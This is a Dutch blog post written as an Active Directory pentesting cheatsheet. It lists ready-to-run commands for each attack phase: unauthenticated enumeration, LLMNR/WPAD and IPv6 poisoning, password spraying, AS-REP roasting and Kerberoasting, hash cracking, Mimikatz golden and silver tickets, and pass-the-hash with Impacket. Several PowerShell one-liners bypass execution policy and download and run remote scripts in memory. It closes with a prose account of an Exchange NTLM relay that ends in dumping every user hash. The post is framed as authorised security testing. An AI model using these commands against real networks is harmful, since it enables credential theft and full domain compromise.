Hacking Active Directory Cheatsheet
Active Directory, we hebben het er al vaker over gehad. Vrijwel alle bedrijven maken gebruik van Active Directory en in vrijwel alle gevallen blijkt de beveiliging van Active Directory zeer onder de maat. En dat is te verklaren. Active Directory wordt vaak al vele jaren gebruikt en is steeds geüpgrade maar nooit echt opnieuw ingericht of vervangen. En dat is normaliter ook lastig want AD behoort namelijk tot de backbone van je organisatie. Zonder gebruikersaccounts geen autorisatie en zonder autorisatie kan er simpelweg niet gewerkt worden. Dat maakt het uitvoeren van een security test (pentest) op Active Directory zo waardevol. In deze post ga ik niet in op alle details. Deze post is een quick overview (call it a cheatsheet) van de diverse stadia van het uitvoeren van een pentest op AD en de tools / commando’s die je kunnen helpen.
Zoals altijd wil ik aangeven dat deze lijst nooit compleet zal zijn en dat er over een tijdje andere tools aan toegevoegd moeten worden. Wanneer je suggesties of waardevolle aanvullingen hebt verneem ik deze graag.
Het doel van een AD pentest is altijd om zoveel mogelijk aanvalsvectoren te vinden die het netwerk kunnen compromitteren. Domain admin worden is leuk maar niet het uiteindelijke doel.
Laten we de (mogelijk) verschillende fases van een AD pentest opsommen:
- Finding the domain controller
- Before we start
- Getting a foothold
- Password Spraying
- Enumerating with a foothold
- Mapping the network and find high-privilege users
- When a Exchange Server is available
Getting a foothold
Voor het verkrijgen van een foothold gaan we ervan uit dat je momenteel unauthenticated bent. Je hebt nog geen valide credentials op het netwerk en het is aan jou om deze te verkrijgen. Tijdens sommige AD pentests wordt deze stap overgeslagen en wordt een low-privilege account gegeven. Met een account ga je meteen naar de enumeratiefase. Wanneer je nog een foothold moet krijgen moet je eerst weten waar je een domain controller kunt vinden om tegenaan te enumereren.
Finding domain name and FQDN
Wanneer je de domeinnaam weet kun je deze gebruiken in de volgende NSLookup:
nslookup set type=all _ldap._tcp.dc._msdcs.DOMAIN_NAME |
Vaak heb je de FQDN (Fully Qualified Domain Name) nodig. Om deze te vinden kun je NMap gebruiken of de volgende tools:
nmblookup -A 10.10.10.10 nbtscan 10.10.10.10 nmap -R 10.10.10.10 |
Before you start – Initial Scan
Het is goed om een algemeen beeld van de AD beveiliging te krijgen alvorens je begint. Ik raad hiervoor een AD scan van PingCastle (https://www.pingcastle.com/) aan. Deze scanner is gratis en geeft een fantastisch beeld van de initiële security. De overzichten van deze tool kunnen je niet alleen goed helpen tijdens de rapportagefase maar ook als follow-up om later te lijken welke verbeteringen doorgevoerd zijn.
Finding services
Wanneer je de domain controller gevonden hebt is het belangrijk om te weten welke diensten vanuit het huidige perspectief te bereiken zijn. Kun je iets met SMB? RPC? Kerberos? LDAP? Voorgaande 3 protocollen zijn overigens de protocollen die we het meeste zullen behandelen. Om dit te weten gebruik je natuurlijk gewoon een oude en vertrouwde NMap scan.
sudo nmap -O -sC -sV -vvv -oA . IPaddress |
- sudo = Voer nmap bij voorkeur altijd uit als sudo zodat nmap ook gebruik kan maken van raw network traffic en libpcap. Op deze manier is nmap niet afhankelijk van ICMP en zijn de resultaten uiteindelijk completer
- -O = OS Scan – Achterhaal het type OS
- -sC = Default Scripts – start default NSE scripts over de gevonden services
- -sV = Version Enumeration – prober de versie te achterhalen van de gevonden services
- -vvv = Verbose – In dit geval tripple (vvv) verbose en dus de maximale output op het scherm
- -oA = Output All – Output de resultaten in alle 3 de beschikbare NMap formaten
SMB Enumeration – unauthenticated
SMB kan je toegang geven tot onbeveiligde shares maar kan je ook veel informatie verschaffen zoals gebruikers, groepen en relaties. Tools die we hiervoor inzetten zijn o.a. Enum4Linix, SMBMap en SMBClient.
Enum4Linux
#General info enum4linux 10.10.10.10 #Share information enum4linux -S 10.10.10.10 #OS Information enum4linux -o 10.10.10.10 #LDAP Information enum4linux -l 10.10.10.10 #All scans enum4linux -a 10.10.10.10 |
SMBMap
De SMBmap tool maakt het gemakkelijk om snel de beschikbare shares te bekijken:
smbmap -H 10.10.10.10 |
SMBClient
Met SMBClient kunnen we connecten met SMB net zoals een FTP client dat doet op een FTP server. Met SMBClient krijgen we dus diverse middelen om te communiceren met de SMB server. We kunnen dus bestanden bekijken, uploaden, downloaden, share informatie bekijken en nog veel meer.
#Show shares smbclient 10.10.10.10 #Open SMB console by connecting to a share: smbclient \\\\10.10.10.10\\share |
RPC Enumeration – unauthenticated
Wanneer je open “Microsoft Windows RPC” (Remote Procedure Call) poorten vindt betekend dit dat het mogelijk kan zijn om externe procedure calls te doen (client/server aanroepen). RPC maakt gebruik van dynamische poorten en poort 135. Veel Microsoft diensten maken gebruik van RPC en dus kan RPC enumeratie veel interessante informatie opleveren.
Tools die we hiervoor kunnen gebruiken zijn RPCDump en RPCClient.
RPCDump
RPCDump is onderdeel van ImPacket. RPCDump.exe vraagt de status op een externe server over RPC. Met RPCDump kun je achterhalen welke RPC-toepassingen er op de server worden uitgevoerd.
python3 rpcdump.py 10.10.10.10 |
RPCClient
RPCClient is onderdeel van de Samba suite en kan worden gebruikt om over RPC te communiceren net zoals je dat met SMBClient over SMB doet. RPCClient maakt het vergaren van informatie en zelfs het aanpassen van settings over RPC seer gemakkelijk.
#Make a unauthenticated connection: rpcclient -U "" -N 10.10.10.10 |
Wanneer het lukt om een unauthenticated verbinding te maken dan zijn je mogelijkheden (afhankelijk van je rechten) hetzelfde als wanneer je deze authenticated maakt. Hierover later meer.
LDAP Enumeration – unauthenticated
Over LDAP an-sich heb ik al diverse posts gemaakt – https://jarnobaselier.nl/ldap-lightweight-directory-access-protocol. Wanneer LDAP open staat dan bestaat de kans dat je hier waardevolle informatie uit kunt achterhalen. Hiervoor zijn er diverse tools zoals ldapsearch en go-windapsearch en ad-ldap-enum.
LDAPSeach – unauthenticated
LDAPSearch maakt het mogelijk om AD te enumereren middels LDAP Queries. Maar ook default krijg je al interessante informatie retour.
Om verbinding te maken gebruik je:
ldapsearch -x -b "dc=jarno,dc=nl" -H ldap://10.10.10.10 |
Wanneer je verbinding hebt kun je meer enumereren zoals b.v.:
#Beschikbare user accounts: ldapsearch -x -b "dc=jarno,dc=nl" -H ldap://10.10.10.10 -D "cn=admin,dc=jarno,dc=nl" -W "objectclass=account" #Use LDAP Queries – search for users but not the Administrator: ldapsearch -x -b "dc=jarno,dc=nl" -H ldap://10.10.10.10 -D "cn=admin,dc=jarno,dc=nl" -W "objectclass=account" "(!(cn=administrator))" |
Go-WinDAPSeach – unauthenticated
Go-WinDAPSearch is een vernieuwde versie van “WinDAPSearch” en maakt het net als LDAPSearch mogelijk om LDAP enumeratie uit te voeren met LDAP queries. Go-WinDAPSearch maakt het ook mogelijk om de resultaten te parsen naar een JSON bestand. Daarnaast kent Go-WinDAPSearch diverse modules om enumeratie nog makkelijker te maken. Zo kun je b.v. een module gebruiken die naar ACL protected objecten zoekt (admin objecten) of je kunt een DNS query doen. Bijvoorbeeld:
#Unauthenticated login: python3 windapsearch.py -d dc01.jarno.nl –dc-ip 10.10.10.10 -U #Dump all AD attributes python3 windapsearch.py -d dc01.jarno.nl –dc-ip 10.10.10.10 -U --full #Dump all user attributes with a module: python3 windapsearch.py -d dc01.jarno.nl –dc-ip 10.10.10.10 -U -m users –full #Output the above to JSON: #Dump all user attributes with a module: python3 windapsearch.py -d dc01.jarno.nl –dc-ip 10.10.10.10 -U -m users --full -j -o full_user_dump.json |
AD-LDAP-Enum – unauthenticated
AD-LDAP-Enum is een Python-based tool voor het enumereren van LDAP. AD-LDAP-Enum zet de output in 3 door tabs gescheiden bestanden ‘Domain Group Membership.tsv’, ‘Extended Domain User Information.tsv’ en ‘Extended Domain Computer Information.tsv’. Het eerste bestand bevat gebruikers, computers, groepen met bijbehorende lidmaatschappen. Het tweede bestand bevat gebruikers en extra informatie over deze gebruikers uit Active Directory (zoals b.v. het e-mailadres of de homefolder van een gebruiker). Het derde bestand bevat apparaten in de groep Domeincomputers en extra informatie over deze uit Active Directory (bijv. het type besturingssysteem en servicepackversie):
python ad-ldap-enum.py -d jarno.nl -l 10.10.10.10 -n |
Kerberos Enumeration – unauthenticated
Kerberos is de service welke Kerberos tickets maakt voor authenticatie bij diensten die Kerberos ondersteunen. Middels Kerberos, en dan met name de retourcodes die Kerberos geeft is het mogelijk om users te enumereren. Dit kunnen we b.v. al met een NMap NSE script en een username list:
nmap –p 88 –script-args krb5-enum-users.realm='jarno.nl',userdb=[user list] 10.10.10.10 |
Hetzelfde kunnen we doen met o.a. de “kerberos_enumusers” tool binnen MSFConsole of met “Krbguess”, een Java-based tool welke ook “locked” accounts kan vinden.
Normaliter moet je voor het opvragen van een Kerberos ticket geauthentiseerd zijn. Maar in AD bestaat de optie om op user niveau “pre-authentication” uit te zetten. Dit kom je feitelijk zelden tegen (behalve in CTF challenges) maar aangezien het een optie is kan het zeker ooit eens ingesteld zijn (b.v. om time issues te omzeilen). Wanneer pre-authentication uit staat betekend dit dus dat je een Kerberos TGT ticket van de gebruiker kunt opvragen zonder authenticatie. Dit ticket kun je gebruiken om het wachtwoord van deze gebruiker te brute-forcen. Om te kijken of er gebruikers zijn waarbij “no pre-authentication” wordt gebruikt kunnen we het GetNPUsers script gebruiken welke onderdeel is van ImPacket (ASREPRoast).
#Check if users with no pre-authentication exist: python3 getnpusers.py jarno.nl/ -dc-ip 10.10.10.10 #Request a ticket as a user where no pre-authentication is enabled: python3 getnpusers.py jarno.nl/ -dc-ip 10.10.10.10 -request |
AD Misconfigurations
Wanneer bovenstaande services niets opleveren kan het nog steeds zo zijn dat andere foute configuraties je helpen bij de enumeratie.
Zo kunnen we bijvoorbeeld Responder gebruiken om om NT/NTLM(v2) hashes te sniffen. Ook kunnen we met Responder WPAD- en NBT-NS-poisoning uitvoeren. Windows is standaard geconfigureerd om te zoeken naar een Proxy Auto Config (PAC) -bestand, via WPAD (Web Proxy Auto-Discovery). Hiermee kun je, als je geluk hebt ook credentials achterhalen. Meer informatie: https://jarnobaselier.nl/llmnr-responder-poinsoner.
responder -I eth0 --wpad |
Wanneer IPv6 gebruikt wordt kun je er zelfs voor kiezen om DNS poisoning uit te voeren over IPv6 met b.v. MitM6:
mitm6 -d jarno.nl |
❤ Geïnteresseerd in InfoSec? Neem eens een kijkje op onze “NL InfoSec” Discord server. Klik op een van de Discord banners op deze site. We bespreken hier allerhande InfoSec nieuws van HackTheBox tot studie en van bug bounties tot CVE’s! Tot ziens! ❤
Password Spraying
Wanneer je “mogelijke credentials” hebt gevonden kun je ervoor kiezen om “password spraying” te proberen. In essentie is dit uiteraard het simpelweg proberen (brute forcen) van (een beperkte lijst met) wachtwoorden (bij voorkeur niet meer dan 5) op een bestaande username lijst. De kans is aanwezig dat je hiermee valide credentials achterhaalt.
Ook voor “password spraying” zijn er diverse tools die je kunnen helpen zoals Hydra en CrackMapExec.
Hydra kan overweg met verschillende protocollen zoals b.v. HTTP, MySQL, SNMP, VNC maar in dit stadium zullen we ons vooral richten op RDP, SSH, LDAP en SMB.
#SSH -u=password spraying (trying each password per user) -V=Verbose: hydra -L userlist.txt -P passwordlist.txt -u -V 10.10.10.10 ssh #SMB -t= simultaneous tasks: hydra -L userlist.txt -P passwordlist.txt -t 10 -u -V 10.10.10.10 smb #LDAP: hydra -L userlist.txt -P passwordlist.txt -u -V 10.10.10.10 ldap2 #RDP: hydra -L userlist.txt -P passwordlist.txt -u -V rdp://10.10.10.10 |
CrackMapExec is vergelijkbaar met PSExec met een beetje Nessus. CrackMapExec biedt ook toegang tot PowerView-opdrachten. Met CrackMapExec is het ook mogelijk om password Spraying uit te voeren voor diverse protocollen. Dit ziet er als volgt uit:
#SMB cme smb 10.10.10.10 -u userlist.txt -p passwordlist.txt --continue-on-success --shares #LDAP: cme ldap 10.10.10.10 -u userlist.txt -p passwordlist.txt --continue-on-success #WinRM: cme winrm 10.10.10.10 -u userlist.txt -p passwordlist.txt --continue-on-success #SSH: cme ssh 10.10.10.10 -u userlist.txt -p passwordlist.txt --continue-on-success |
Wanneer we een lijst hebben met gebruikersnamen en mogelijke wachtwoorden kunnen we ook proberen om kerberos tickets te brute forcen met b.v. het “Kerbrute” python script:
python3 kerbrute.py -domain %domain_name% -users %users_file% -passwords %passwords_file% -outputfile %output_file% |
Enumerating with a foothold
Wanneer je eindelijk valide credentials hebt gevonden (of wanneer je je test al begint met valide credentials) dan wordt het mogelijk om authenticated enumeratie te doen. De mogelijkheden met een valide gebruikersaccount zijn nog omvangrijker en kunnen lijden tot diverse andere privilege escalation aanvallen. En dat is meteen de hoofdreden waarom AD goed beveiligd moet zijn. Allereerst om geen secrets prijs te geven maar uiteindelijk om privilege escalation en impersonation te voorkomen. En naar deze methodes gaan we op zoek nu we een foothold hebben!
Powershell Information
Standaard kun je met Powershell, domain credentials en bij voorkeur een computer in het domein al veel informatie achterhalen. Later gaan we kijken naar Powerview om domein enumeratie uit te voeren. Maar we kunnen in de basis ook het e.e.a. met default Powershell. B.v.:
#Get all domain users and save them to a file: $results = net users /domain $results = $results[8..($results.Length-3)] foreach($result in $results) { ($result -replace '\s+',',') -split ',' | Out-File t:\zand\users.txt -Append } } |
#Get all domain users and save their comments to a file: $results = net users /domain $results = $results[8..($results.Length-3)] foreach($result in $results) { ($result -replace '\s+',',') -split ',' | ? { $_ } | ForEach-Object {net user $_ /domain | findstr /c:”Gebruikersnaam” /c:”Opmerking” | findstr /v gebruiker} } |
#Get information about a specific user: Get-ADUser -Identity %username% #Show local groups on current machine: net localgroup #Show members of a specific local group: net localgroup "%groupname%" #Get information about a specific user: net user %username%_admin /domain |
Wanneer je credentials wilt testen kun je het volgende commando gebruiken:
net use \\%LOGONSRV% /user:%LOGONSRV%\%USERNAME% %PASSWORD% #Voorbeeld: net use \\dc01 /user:dc01\jarno ditismijngoedewachtwoord |
Password check
De eerste controle die we kunnen doen als je credentials hebt is hoe de algemene gesteldheid is van de wachtwoorden binnen AD. Hiervoor heb je een wachtwoordenlijst nodig (gebruik b.v. een algemene en vul deze aan met “logische wachtwoorden voor het bedrijf zoals b.v. de bedrijfsnaam” en een Powershell instance (Linux of Windows). Je kunt dan gebruik maken van b.v. het DSInternals script (https://jarnobaselier.nl/active-directory-wachtwoordcontrole-met-dsinternals). Nadat het script gedraaid heeft heb je een goed beeld van de accounts met zwakke wachtwoorden, accounts met LM Hashes, gebruikers met hetzelfde wachtwoord etc. Dit overzicht is niet zo compleet als het overzicht dat je krijgt met een PingCastle scan maar geeft weer wel aanvullende inzichten. Als het onmogelijk was om de PingCastle scan aan het begin van de test te draaien dan is het daarvoor in deze fase ook een prima moment. Beide rapportages geven een zeer goed algemeen beeld, kunnen je helpen met de rapportage en verdere privilege escalation.
SMB Enumeration – authenticated
Wanneer je credentials hebt is de kans om toegang te krijgen tot shares, en daarbij behorende informatie nog groter. Laten we een aantal van voorgaande tools nog eens gebruiken… maar nu authenticated.
Enum4Linux
#All scans enum4linux -a 10.10.10.10 -u %username% -p %password% |
SMBMap – authenticated
smbmap -H 10.10.10.10 -u %username% -p %password% |
SMBClient – authenticated
#Show shares (username and password are separated by a % sign: smbclient 10.10.10.10 -U%username%%%password% #Open SMB console by connecting to a share: smbclient \\\\10.10.10.10\\share -U%username%%%password% |
RPC Enumeration – authenticated
RPCDump
Authenticated RPCDump is mogelijk met credentials en middels LM- of NT Hashes:
Credentials: python3 rpcdump.py %domainname%/%username%:%password%@10.10.10.10 LMHash: python3 rpcdump.py 10.10.10.10 -hashes %hash%: NTHash: python3 rpcdump.py 10.10.10.10 -hashes :%hash% |
RPCClient
#Make an authenticated connection: rpcclient -U "%username" 10.10.10.10 #After logging in #Enumerate domain users: enumdomusers #Enumerate domain groups: enumdomgroups #Query group memberships: quirygroup %RID% #Query specific user for information: queryuser %RID% #Get password information: getdompwinfo |
LDAP Enumeration – authenticated
Naast onderstaande tools kun je uiteraard ook gebruik maken van diverse standaard Microsoft tools. Denk hierbij aan de Powershell AD plugins of de ADSI (Active Directory Service Interfaces) welke onderdeel is van de MS Support Tools. ADSI is een set van verschillende COM interfaces welke gebruikt worden om verschillende taken uit te voergen op een directory service waaronder Active Directory.
LDAPSeach – authenticated
ldapsearch -x -b "dc=jarno,dc=nl" -H ldap://10.10.10.10 -D 'cn=%username%,dc=jarno,dc=nl' -w %password% |
Go-WinDAPSeach – authenticated
#Authenticated login: python3 windapsearch.py -d dc01.jarno.nl –dc-ip 10.10.10.10 -u %username% -p %password% |
AD-LDAP-Enum – authenticated
python ad-ldap-enum.py -d jarno.nl -l 10.10.10.10 -u %username% -p %password% |
Kerberos Enumeration – authenticated
Wanneer ja valide credentials hebt kun je Kerberos gebruiken om Kerberos tickets op te vragen van andere services en accounts. Dit noemen we Kerberoasting. Hoe dit exact in zijn werk gaat heb ik hier https://jarnobaselier.nl/kerberoasting beschreven. Een korte resume:
Impacket
#Get SPN’s: python3 GetUserSPNs.py -dc-ip 10.10.10.10 %domainname%/%username% |
Mimikatz
#Export Tickets: kerberos::list /export |
John – crack hashes
#Create KIRBI file: python /usr/share/john/kirbi2john.py sqluser.kirbi > sqluser.hash #Crack with John: john --wordlist=/home/jarno/Desktop/rockme.txt /home/jarno/Desktop/sqluser.hash |
Hashcat – crack hashes
hashcat -m 13100 -a 0 -O /home/jarno/Desktop/sqluser.hash /home/jarno/Desktop/rockme.txt -r rules\best64.rule & hashcat -m 13100 -a 0 -O /home/jarno/Desktop/sqluser.hash /home/jarno/Desktop/rockme.txt -r rules\dive.rule |
Create Silver Ticket with Mimikatz
kerberos::golden /user:%username% /domain:%domainname% /sid:%domainSID% /target:%FQDN of server% /rc4:%NTLM Hash of service account% /ptt
Create Golden Ticket with Mimikatz
kerberos::golden /user:%username% /domain:%domainname% /sid:%domainSID% /krbtgt:%NTLM Hash of krbtgt account% /ptt |
Create Golden Ticket with ImPacket
#Generate ticket with NTLM: python ticketer.py -nthash %krbtgt_ntlm_hash% -domain-sid %domainSID% -domain %domain_name% %username% #Generate ticket with AES: python ticketer.py -aesKey <aes_key> -domain-sid %domainSID% -domain %domain_name% %username% |
Wanneer we een valide ticket (hash) hebben kunnen we deze gebruiken om “door te geven” naar een andere dienst en om op die manier toegang te krijgen tot die dienst. Dit noemen we “Overpass the hash” of “Pass the key (PTK)”. We kunnen dit doen met b.v. ImPacket:
#Request the TGT with hash: python getTGT.py %domain_name%/%username% -hashes %lm_hash%:%ntlm_hash% #Request the TGT with AESKey: python getTGT.py %domain_name%/%username% -aesKey %aes_key% #Request the TGT with password: python getTGT.py %domain_name%/%username%:password #Set the TGT to use inside ImPacket: export KRB5CCNAME=%TGT_ccache_file% #Pass the hash to PSExec: python psexec.py %domain_name%/%username%@%hostname% -k -no-pass #Pass the hash to WMIExec: python wmiexec.py %domain_name%/%username%@%hostname% -k -no-pass #Pass the hash to SMBexec: python smbexec.py %domain_name%/%username%@%hostname% -k -no-pass |
Wanneer je een NTLM hash wilt maken van een wachtwoord kun je het volgende Python commando gebruiken:
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "%password%".encode("utf-16le")).digest())' |
Group Policy Secrets
Ook binnen Group Policy objecten kunnen zich “secrets” bevinden. Een van de voorbeelden is MS14-025. Wanneer een beheerder een lokaal (beheer)account deployed via een GPO dan wordt het wachtwoord van dit account gecodeerde opgeslagen op in de SYSVOL-share van de domeincontroller (en SYSVOL is voor iedereen toegankelijk omdat het beleid altijd gelezen moet kunnen worden). Normaliter zou dat geen probleem zijn omdat deze credentials zijn gecodeerd met AES-codering. Echter gebruikt Microsoft altijd dezelfde AES sleutel en in is deze sleutel publiekelijk gepubliceerd. Je kunt deze credentials (normalite opgeslagen in de waarde “cpassword”) dus decoderen en inzichtelijk krijgen. Zo kun je b.v. MetaSploit gebruiken om dit te doen:
Mapping the network and find high-privilege users
Er zijn nog een aantal tools die absoluut essentieel zijn als het gaat over Active Directory Pentesting. Deze tools maken de AD inrichting nog inzichtelijker en focussen zich met name op het inzichtelijk maken van privilege escalation paden. Wat zijn high-privileged users en welke relatie hebben deze. Hoe zit het met nested groups en welke weg kunnen we nemen om snel meer privileges te verkrijgen.
2 belangrijke tools zijn, BloodHound & PowerView.
BloodHound
Het is altijd interessant om onbedoelde relaties binnen AD te kunnen vinden welke mogelijk misbruikt kunnen worden. Onbedoelde relaties ontstaan vaak onbedoeld doordat accounts genest worden in elkaar. Hoe groter de AD database des te groter de kans dat er onbedoelde relaties aanwezig zijn. Bloodhound is speciaal ontwikkeld om deze relaties in kaart te brengen. Meer details kun je vinden in een andere post: https://jarnobaselier.nl/bloodhound-ad.
In de basis werkt Bloodhound als volgt. Allereerst heb je zogenaamde “ Ingestors” nodig om data uit de AD database te halen. Wanneer je deze data hebt kan deze ingelezen worden in Bloodhoud alwaar je via query’s grafisch inzicht krijgt tussen de relaties van je AD database. De Bloodhound ingestor “ Sharphound” . De huidige Sharphound versie is versie 3 en is beschikbaar in een EXE en als in-memory Powershell module. Maar onze eigen Fox-IT heeft ook een python Sharphound ingestor gemaakt zodat je (met de juiste credentials) remote v.a. eigen machine ingestion files kunt creëren.
Hieronder staan een aantal Sharphound voorbeelden. Wanneer je de data beschikbaar is kun je deze “ slepen” in Bloodhound om vervolgens via de GUI relaties in te zien zoals group memberships, shortest path to admin en high privileged users. Zeker in een groot netwerk geeft Bloodhound veel meer inzicht.
#Sharphound Powershell #Execution Policy Bypass (from PowerShell): PowerShell -Exec Bypass #OR Execution Policy Bypass (from CMD – works better) powershell –ep bypass #Import Sharphound module: Import-Module sharphound.ps1 #Run SharpHound with the maximum checks (all) and output to JSON files invoke-Bloodhound -CollectionMethod All -Domain %domainname% -ZipFileName %PATHTOZIP\file.zip% -JsonFolder %PATHTOZIP% |
#Sharphound Python All Checks python3 bloodhound.py -c All,LoggedOn -u %username% -p %password% -d %domainname% -dc %name of domain controller% -gc %name of global catalog server% |
We kunnen bovenstaande commando ook volledig vanuit memory uitvoeren door Sharphound te downloaden en uit te voeren in-memory:
#Execution Policy Bypass (from CMD) powershell –ep bypass IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1′); invoke-Bloodhound -CollectionMethod All -Domain %domainname% -ZipFileName %PATHTOZIP\file.zip% -JsonFolder %PATHTOZIP% |
PowerView
PowerView is een PowerShell-script welke is ontwikkeld door Will Schroeder en onderdeel is van het PowerSploit framework. PowerView is uitsluitend gebaseerd op PowerShell en WMI (Windows Management. PowerView kent zijn eigen scriplets die je snel veel meer inzicht kunnen geven op het domein. Omdat PowerView afhankelijk is van Powershell en WMI zul je dit script op een Windows machine moeten uitvoeren welke (voor volledige functionaliteit) ook domain-joined is. Low-privileged access is dus een must.
Wanneer je PowerView direct in het geheugen wilt laden kun je het volgende commando gebruiken:
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain” |
#Get General Domain Information: Get-NetDomain #Get Forest Information: Get-NetForest #Get information about the domaincontroller the user is logged on trough Get-NetDomainController #Get all computer in the domain: Get-NetComputer #Get all computers in the domain with a specific OS: Get-NetComputer –OperatingSystem "Windows 7 Ultimate" #Get Domain SID: Get-DomainSID #Get the domain password policy: (Get-DomainPolicy)."system access" #Get information about Kerberos tickets: (Get-DomainPolicy)."KerberosPolicy" #Get all groups with a specific term in their name: Get-NetGroup *admin* #Get members of a given group: Get-NetGroupmember -GroupName “%group name% #Get all the groups “Jarno” is a member of: Get-NetGroup –UserName "jarno" #Get users that are logged on to a given computer: Get-NetLoggedon –ComputerName “%ComputerName%” #Get domain trusts Get-NetDomainTrusts #Search for string in the “description” field of the user: Find-UserField -SearchField Description –SearchTerm “pass” #Get GPO of specific computer: Get-NetGPO -ComputerName %computername% #Get all members that have local admin rights on a specific computer: Find-GPOComputerAdmin –Computername %computername% #Get all OU’s in the domain: Get-NetOU Find all machines the current user has local admin privileges: Find-LocalAdminAccess Enumerate ACL’s for a specific user group: Get-ObjectAcl -SamAccountName "%usergroup%" -ResolveGUIDs # Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights: Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,} |
When a Exchange Server is available
We weten dat Exchange vrijwel altijd over-privileged is. We kunnen hier heel slim gebruik van maken. Zo kunnen we gebruik maken van het “PrivExchange” scripts om alle user hashes te verkrijgen. Dit werkt als volgt.
De PrivExchange-tool logt standaard in op Exchange Web Services om en abonneert je op pushmeldingen naar een specifieke host. Hierdoor stuurt het computeraccount van de Exchange-server zijn NTLMv2-hash terug naar de host van de aanvaller. Aangezien dit computeraccount doorgaans zeer hoge bevoegdheden in het domein heeft, kan het vervolgens worden doorgestuurd naar de domeincontroller om nog meer domeinrechten te verkrijgen. We kunnen dit doorsturen doen via een MitM (NTLMRelayX). We zorgen er dan voor dat we de Exchange authenticatie opvangen, doorsturen naar de DC, hier de rechten van de gebruiker verhogen (Replication-Get-Changes-All) en vervolgens de hashes van alle users dumpen met een tool als “secretsdump”.
Voor meer informatie zie: https://chryzsh.github.io/exploiting-privexchange.
Conclusie
Zoals je ziet zijn er aardig wat opties en mogelijkheden wanneer je Active Directory wilt pentesten. En bovenstaande lijst is slechts zeer beperkt en nooit compleet. Over alle genoemde tools kunnen uitgebreide posts beschreven worden. Had ik bijvoorbeeld al verteld over het ADAPE Powershell Script? Een script die veel van bovenstaande automatiseert? Absoluut een must wanneer tijd een belangrijke factor is. Liever een Python script? Dan kun je kiezen voor het ActiveDirectoryEnumeration van CasperGN. Het pentesten van Active Directory is wat mij betreft een van de meest waardevolle tests die een organisatie kan laten uitvoeren op hun Active Directory. Meestal zal een AD PenTest, afhankelijk van het formaat van de organisatie 1-3 dagen in beslag nemen (excl. rapportage).
Hopelijk heb ik je een beetje op weg kunnen helpen of inspireren met bovenstaande cheatsheet. Ga vooral zelf in je lab aan de slag om alles te proberen en te testen. Heb je nieuwe methodes of goede aanvullingen voor deze lijst dan verneem ik deze uiteraard ook graag. Maar…
❤ …als je deze lijst een beetje interessant vond dan zou ik je zeker willen vragen mijn post te “liken” of te delen op de kanalen waar jij toegang toe hebt. Je website? Facebook? Instagram? Ik ben ontzettend dankbaar voor alle erkenning! Dankjewel! Je mag ook altijd een bedankt je komen doen op onze NL InfoSec Discord waar je nog veel meer interessante informatie vindt! ❤